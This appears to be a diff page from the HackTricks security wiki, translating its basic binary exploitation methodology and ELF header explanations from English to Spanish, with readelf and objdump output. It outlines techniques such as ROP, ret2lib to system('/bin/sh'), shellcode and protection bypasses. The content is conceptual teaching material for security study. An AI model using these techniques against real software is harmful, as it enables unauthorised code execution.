- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). - 32 bits, sin relro, sin canario, nx, pie. Abusar de una mala indexación para filtrar direcciones de libc y heap desde la pila. Abusar del desbordamiento de búfer para hacer un ret2lib llamando a `system('/bin/sh')` (la dirección del heap es necesaria para eludir una verificación).

View File

@ -1,111 +1,111 @@
# Basic Binary Exploitation Methodology # Metodología Básica de Explotación Binaria
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## ELF Basic Info ## Información Básica de ELF
Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**: Antes de comenzar a explotar cualquier cosa, es interesante entender parte de la estructura de un **binario ELF**:
{{#ref}} {{#ref}}
elf-tricks.md elf-tricks.md
{{#endref}} {{#endref}}
## Exploiting Tools ## Herramientas de Explotación
{{#ref}} {{#ref}}
tools/ tools/
{{#endref}} {{#endref}}
## Stack Overflow Methodology ## Metodología de Desbordamiento de Pila
With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology. Con tantas técnicas, es bueno tener un esquema de cuándo cada técnica será útil. Ten en cuenta que las mismas protecciones afectarán diferentes técnicas. Puedes encontrar formas de eludir las protecciones en cada sección de protección, pero no en esta metodología.
## Controlling the Flow ## Controlando el Flujo
There are different was you could end controlling the flow of a program: Hay diferentes formas en las que podrías terminar controlando el flujo de un programa:
- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP. - [**Desbordamientos de Pila**](../stack-overflow/) sobrescribiendo el puntero de retorno desde la pila o el EBP -> ESP -> EIP.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow - Podría ser necesario abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento.
- Or via **Arbitrary Writes + Write What Where to Execution** - O a través de **Escrituras Arbitrarias + Escribir Qué Dónde para Ejecución**.
- [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses. - [**Cadenas de Formato**](../format-strings/)**:** Abusar de `printf` para escribir contenido arbitrario en direcciones arbitrarias.
- [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write. - [**Indexación de Arreglos**](../array-indexing.md): Abusar de una indexación mal diseñada para poder controlar algunos arreglos y obtener una escritura arbitraria.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow - Podría ser necesario abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento.
- **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW. - **bof a WWW vía ROP**: Abusar de un desbordamiento de búfer para construir un ROP y poder obtener un WWW.
You can find the **Write What Where to Execution** techniques in: Puedes encontrar las técnicas de **Escribir Qué Dónde para Ejecución** en:
{{#ref}} {{#ref}}
../arbitrary-write-2-exec/ ../arbitrary-write-2-exec/
{{#endref}} {{#endref}}
## Eternal Loops ## Bucles Eternos
Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary: Algo a tener en cuenta es que generalmente **solo una explotación de una vulnerabilidad puede no ser suficiente** para ejecutar un exploit exitoso, especialmente algunas protecciones necesitan ser eludidas. Por lo tanto, es interesante discutir algunas opciones para **hacer que una sola vulnerabilidad sea explotable varias veces** en la misma ejecución del binario:
- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring. - Escribir en una **cadena ROP** la dirección de la **función `main`** o la dirección donde está ocurriendo la **vulnerabilidad**.
- Controlling a proper ROP chain you might be able to perform all the actions in that chain - Controlando una cadena ROP adecuada, podrías ser capaz de realizar todas las acciones en esa cadena.
- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability** - Escribir en la **dirección `exit` en GOT** (o cualquier otra función utilizada por el binario antes de finalizar) la dirección para **volver a la vulnerabilidad**.
- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`. - Como se explicó en [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** almacenar 2 funciones aquí, una para llamar a la vulnerabilidad nuevamente y otra para llamar a **`__libc_csu_fini`** que volverá a llamar a la función de `.fini_array`.
## Exploitation Goals ## Objetivos de Explotación
### Goal: Call an Existing function ### Objetivo: Llamar a una Función Existente
- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag. - [**ret2win**](./#ret2win): Hay una función en el código que necesitas llamar (quizás con algunos parámetros específicos) para obtener la bandera.
- In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack. - En un **bof regular sin** [**PIE**](../common-binary-protections-and-bypasses/pie/) **y** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) solo necesitas escribir la dirección en la dirección de retorno almacenada en la pila.
- In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it - En un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/), necesitarás eludirlo.
- In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it - En un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), necesitarás eludirlo.
- If you need to set several parameter to correctly call the **ret2win** function you can use: - Si necesitas establecer varios parámetros para llamar correctamente a la función **ret2win**, puedes usar:
- A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params - Una [**cadena ROP**](./#rop-and-ret2...-techniques) **si hay suficientes gadgets** para preparar todos los parámetros.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (en caso de que puedas llamar a esta syscall) para controlar muchos registros.
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers - Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) y [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar varios registros.
- Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function. - A través de un [**Escribir Qué Dónde**](../arbitrary-write-2-exec/) podrías abusar de otras vulnerabilidades (no bof) para llamar a la función **`win`**.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) pueden afectar las direcciones.
- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know. - [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe.
### Goal: RCE ### Objetivo: RCE
#### Via shellcode, if nx disabled or mixing shellcode with ROP: #### A través de shellcode, si nx está deshabilitado o mezclando shellcode con ROP:
- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it: - [**(Stack) Shellcode**](./#stack-shellcode): Esto es útil para almacenar un shellcode en la pila antes o después de sobrescribir el puntero de retorno y luego **saltar a él** para ejecutarlo:
- **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it - **En cualquier caso, si hay un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** en un bof regular necesitarás eludirlo (filtrar).
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change - **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) es posible saltar a la dirección de la pila ya que nunca cambiará.
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it - **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) necesitarás técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para saltar a ella.
- **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there. - **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), necesitarás usar algún [**ROP**](../rop-return-oriented-programing/) **para llamar a `memprotect`** y hacer que alguna página sea `rwx`, para luego **almacenar el shellcode allí** (llamando a read, por ejemplo) y luego saltar allí.
- This will mix shellcode with a ROP chain. - Esto mezclará shellcode con una cadena ROP.
#### Via syscalls #### A través de syscalls
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**. - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Útil para llamar a `execve` para ejecutar comandos arbitrarios. Necesitas ser capaz de encontrar los **gadgets para llamar a la syscall específica con los parámetros**.
- If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries. - Si [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) están habilitados, necesitarás derrotarlos **para usar gadgets ROP** del binario o bibliotecas.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve** - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) puede ser útil para preparar el **ret2execve**.
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers - Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) y [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar varios registros.
#### Via libc #### A través de libc
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually). - [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Útil para llamar a una función de una biblioteca (generalmente de **`libc`**) como **`system`** con algunos argumentos preparados (por ejemplo, `'/bin/sh'`). Necesitas que el binario **cargue la biblioteca** con la función que te gustaría llamar (libc generalmente).
- If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - Si **compilado estáticamente y sin** [**PIE**](../common-binary-protections-and-bypasses/pie/), la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente.
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente.
- With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out). - Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **pero sin** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, conociendo la libc y con el binario usando la función `system`** es posible **`ret` a la dirección de system en el GOT** con la dirección de `'/bin/sh'` en el parámetro (necesitarás averiguarlo).
- With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** : - Con [ASLR](../common-binary-protections-and-bypasses/aslr/) pero sin [PIE](../common-binary-protections-and-bypasses/pie/), conociendo la libc y **sin que el binario use la `system`**:
- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it&#x20; - Usar [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver la dirección de `system` y llamarla.
- **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory. - **Eludir** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) y calcular la dirección de `system` y `'/bin/sh'` en memoria.
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to: - **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/) **y sin conocer la libc**: Necesitas:
- Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/) - Eludir [**PIE**](../common-binary-protections-and-bypasses/pie/).
- Find the **`libc` version** used (leak a couple of function addresses) - Encontrar la **versión de `libc`** utilizada (filtrar un par de direcciones de funciones).
- Check the **previous scenarios with ASLR** to continue. - Revisar los **escenarios anteriores con ASLR** para continuar.
#### Via EBP/RBP #### A través de EBP/RBP
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack. - [**Pivotar Pila / EBP2Ret / Encadenamiento EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controlar el ESP para controlar RET a través del EBP almacenado en la pila.
- Useful for **off-by-one** stack overflows - Útil para **desbordamientos de pila off-by-one**.
- Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP - Útil como una forma alternativa de terminar controlando EIP mientras abusas de EIP para construir la carga útil en memoria y luego saltar a ella a través de EBP.
#### Misc #### Varios
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) pueden afectar las direcciones.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know - [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,10 @@
# ELF Basic Information # Información Básica de ELF
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Program Headers ## Encabezados del Programa
The describe to the loader how to load the **ELF** into memory:
Describen al cargador cómo cargar el **ELF** en la memoria:
```bash ```bash
readelf -lW lnstat readelf -lW lnstat
@ -14,80 +13,78 @@ Entry point 0x1c00
There are 9 program headers, starting at offset 64 There are 9 program headers, starting at offset 64
Program Headers: Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1] [Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Section to Segment mapping: Section to Segment mapping:
Segment Sections... Segment Sections...
00 00
01 .interp 01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss 03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic 04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package 05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr 06 .eh_frame_hdr
07 07
08 .init_array .fini_array .dynamic .got 08 .init_array .fini_array .dynamic .got
``` ```
El programa anterior tiene **9 encabezados de programa**, luego, el **mapeo de segmentos** indica en qué encabezado de programa (del 00 al 08) **se encuentra cada sección**.
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**. ### PHDR - Encabezado de Programa
### PHDR - Program HeaDeR Contiene las tablas de encabezados de programa y la metadata en sí.
Contains the program header tables and metadata itself.
### INTERP ### INTERP
Indicates the path of the loader to use to load the binary into memory. Indica la ruta del cargador que se debe usar para cargar el binario en memoria.
### LOAD ### LOAD
These headers are used to indicate **how to load a binary into memory.**\ Estos encabezados se utilizan para indicar **cómo cargar un binario en memoria.**\
Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**. Cada encabezado **LOAD** indica una región de **memoria** (tamaño, permisos y alineación) e indica los bytes del **binario ELF que se copiarán allí**.
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`. Por ejemplo, el segundo tiene un tamaño de 0x1190, debe estar ubicado en 0x1fc48 con permisos de lectura y escritura y se llenará con 0x528 desde el desplazamiento 0xfc48 (no llena todo el espacio reservado). Esta memoria contendrá las secciones `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC ### DYNAMIC
This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section. Este encabezado ayuda a vincular programas a sus dependencias de biblioteca y aplicar reubicaciones. Consulta la sección **`.dynamic`**.
### NOTE ### NOTE
This stores vendor metadata information about the binary. Esto almacena información de metadata del proveedor sobre el binario.
### GNU_EH_FRAME ### GNU_EH_FRAME
Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions. Define la ubicación de las tablas de deshacer la pila, utilizadas por depuradores y funciones de manejo de excepciones de C++.
### GNU_STACK ### GNU_STACK
Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack. Contiene la configuración de la defensa de prevención de ejecución de la pila. Si está habilitado, el binario no podrá ejecutar código desde la pila.
### GNU_RELRO ### GNU_RELRO
Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running. Indica la configuración RELRO (Relocation Read-Only) del binario. Esta protección marcará como de solo lectura ciertas secciones de la memoria (como el `GOT` o las tablas `init` y `fini`) después de que el programa se haya cargado y antes de que comience a ejecutarse.
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`. En el ejemplo anterior, está copiando 0x3b8 bytes a 0x1fc48 como de solo lectura, afectando las secciones `.init_array .fini_array .dynamic .got .data .bss`.
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched. Ten en cuenta que RELRO puede ser parcial o completo, la versión parcial no protege la sección **`.plt.got`**, que se utiliza para **lazy binding** y necesita este espacio de memoria para tener **permisos de escritura** para escribir la dirección de las bibliotecas la primera vez que se busca su ubicación.
### TLS ### TLS
Defines a table of TLS entries, which stores info about thread-local variables. Define una tabla de entradas TLS, que almacena información sobre variables locales de hilo.
## Section Headers ## Encabezados de Sección
Section headers gives a more detailed view of the ELF binary
Los encabezados de sección ofrecen una vista más detallada del binario ELF.
``` ```
objdump lnstat -h objdump lnstat -h
@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64
Sections: Sections:
Idx Name Size VMA LMA File off Algn Idx Name Size VMA LMA File off Algn
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY CONTENTS, READONLY
``` ```
También indica la ubicación, el desplazamiento, los permisos, pero también el **tipo de datos** que tiene su sección.
It also indicates the location, offset, permissions but also the **type of data** it section has. ### Secciones Meta
